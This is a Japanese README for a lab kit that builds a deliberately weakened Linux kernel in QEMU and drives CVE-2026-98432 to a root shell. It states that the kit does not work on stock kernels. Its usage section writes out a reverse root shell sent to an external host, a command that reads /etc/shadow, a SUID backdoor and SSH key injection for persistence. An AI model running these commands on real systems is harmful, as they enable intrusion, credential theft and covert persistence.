
CVE-2026-98432 ラボ用ルートシェルキット(カーネルを支援するものであり、既製のリモートエクスプロイトではありません)
このキットは、意図的に脆弱にした Linux 6.12.112 カーネルを、悪用可能性を補助する小さな仕組みとともにビルドし、CVE-2026-98432 の経路を QEMU コンソール上の対話型 root シェルに変えるものです。
これはラボ用の補助ツールであり、既製のリモートエクスプロイトではありません。実際の CVE のコード経路が使用されています:
ip_options_rcu が、再送された SYN-ACK の経路を通じて ip_options_build() に到達します;skb_shared_info が破壊されます;skb_release_data() が偽造された ubuf_info->ops->complete コールバックを呼び出します;call_usermodehelper("/bin/sh", ...) を呼び出します。補助となるのは、強制的な free/偽造オブジェクトと、段階的に仕込まれたコールバック/ROP チェーンです。既製の脆弱なカーネルでは、不足している部分は信頼性の高い同一スラブ/同一 CPU での再確保とペイロード配置のプリミティブであり、これは公開されていません。以下の「既製カーネルの状況」を参照してください。
/dev/kvm) を強く推奨;TCG でも動作するが遅いsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
最初のビルドでは、Linux 6.12.112 をダウンロードし、2 つの kfree_rcu() 呼び出しを元に戻し、aid を適用し、bzImage をビルドし、パッチ適用済みの vmlinux からシンボル/ガジェットを解決し、再ビルドし、initramfs をパックし、nokaslr を付けて QEMU を起動します。
KVM が利用できない場合:
QEMU_ACCEL=tcg ./build.sh
(スクリプトは現在、/dev/kvm が書き込み可能でない場合に自動的に TCG へフォールバックします。便宜上、QEMU_ACCEL 変数も受け付けます。)
ホスト上の2つ目のターミナルで:
python3 trigger.py 127.0.0.1 9000
ゲストの init は /tmp/cve98432_root.sh をコンソールシェル (sh -i </dev/console) 付きで作成しました。ゲストのリスナーへの単一の TCP 接続で十分です。ゲストコンソールには次のような表示が出るはずです:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
root_shell.py をターゲット(すでに aid カーネルで起動済み)にコピーし、
手持ちのユーザーとして実行します:
python3 root_shell.py
/tmp/cve98432_root.sh に root リバースシェルのペイロードを書き込み、2つのループバックリスナー(トリガー用の 9000、シェル用の 4444)を起動し、aid をトリガーして、root シェルをあなたのターミナルにブリッジします:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
便利なオプション:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
aid チェーンは、root コマンドが終了した後にのみ machine_power_off() を呼び出します。
root コマンドが終了しなければ、カーネルは call_usermodehelper() 内で待機し、
ホストは稼働し続けます。これにより、永続的な root パスを作成できます:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
または SSH キーを追加してヘルパーを稼働させ続けます:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
sleep はユーザーモードヘルパー(ひいてはカーネルチェーン)を存続させるため、ターゲットは電源オフになりません。/tmp が noexec/nosuid でマウントされている場合は、/tmp ではなく /var/tmp または /root を使用してください。sleep が終了すると、チェーンが再開してホストの電源をオフにします。これを制御したい場合は、root として sleep プロセスを kill してください。
ペイロードファイルは 0700 および O_EXCL|O_NOFOLLOW で作成され、--keep-payload が指定されない限り使用後に削除されます。root シェルを終了すると、aid チェーンが machine_power_off() を呼び出します。使い捨ての VM を使用するか、ホストを起動したままにする必要がある場合は aid_patch.py の AID_POWEROFF を編集してください。
チェーンは以下を実行します:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
そのため、スクリプトは常に root として実行されます。
| 要素 | 状態 |
|---|---|
偽造された ip_options_rcu + ip_options_build() | CVE 経路だが、割り当ては補助によって強制される |
skb_shared_info の破壊 | 補助が tcp_v4_send_synack() 内でフィールドを直接設定する |
destructor_arg コールバックのハイジャック | 実際の下流の破棄経路 |
ROP ピボット + call_usermodehelper() | 実際のカーネル制御フローハイジャックで、補助によって段階的に準備される |
nokaslr 起動 | ラボでの簡略化。KASLR リークは不要 |
このキットが踏襲している公開された独立研究も、計測用カーネルを用いて同じ地点に到達しました。実際の OOB 書き込みとコールバック経路、補助による free/reclaim とペイロードの段階的準備です。2026-11-02 時点で、標準カーネル向けの武器化されたチェーンは公開されていません。
ゲストが nokaslr で起動するため、補助は絶対カーネルアドレスを使用します。aid_patch.py 内の値は、公開された 6.12.112 ラボビルドのデフォルト値です。resolve.py はパッチ適用済みの vmlinux と System.map を読み取り、symbols.json を書き出します。その後 build.sh が定義を更新して再ビルドします。
resolve.py がガジェットを見つけられない場合(ROPgadget が存在しないか不完全な場合)、インストールして再実行してください:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
ピボットガジェットは aid_patch.py のチェーンレイアウトと一致している必要があります:
lea -0x18(%rbp), %rsp に4つのpopと ret/jmp を加えたものです。ビルドで異なる
ピボットを使用している場合は、aid_patch.py の SEND_BLOCK を調整するか、一致する
ガジェットを選択してください。
脆弱なストックカーネルには、信頼できる公開された支援なしのroot チェーンは存在しません。阻害要因は以下のとおりです:
ip_options_rcu は、解放から構築までのウィンドウ内で、
攻撃者が制御するバイト列を持つオブジェクトによって再利用されなければなりません。
saved_syn オブジェクト(TCP_SAVE_SYN)が自然な候補ですが、独立したラボでの
測定によると、再利用は通常、処理中のチャンクではなく別のオプションブロックに
着地します。srr/rr/ts のストアは、skbバッファ付近のオフセットに4バイトの制御された
バイト列を提供します。完全な8バイトの destructor_arg ポインタを書き込むには、
古い上位dwordか、より強力なプリミティブが必要です。公開されたAnthropicのチェーンは、公開されていない再利用/ステージングプリミティブで これらの問題を解決しています。このキットは、ストックチェーンが動作すると装うのではなく、 意図的に制御フローのデモンストレーションで止めています。
| ファイル | 目的 |
|---|---|
build.sh | カーネル + initramfs + QEMU |
aid_patch.py | 偽造オブジェクト/コールバック/ROP支援を適用 |
resolve.py | パッチ適用済みビルドのシンボル/ガジェットを解決 |
listener.c | ゲストTCPリスナー(accept + close) |
init | ゲストinitスクリプト |
trigger.py | ホスト側の単一接続トリガー(コンソール版) |
root_shell.py | Pythonが利用可能なターゲット向けの単一ファイルトリガー + リバースシェルブリッジ |
すべては work/(または最初の引数として渡されたディレクトリ)の下にあります。
ディスクを解放するには削除してください:
rm -rf work
e3f33b0a1d89d738e2b913dab519226eaf76e15b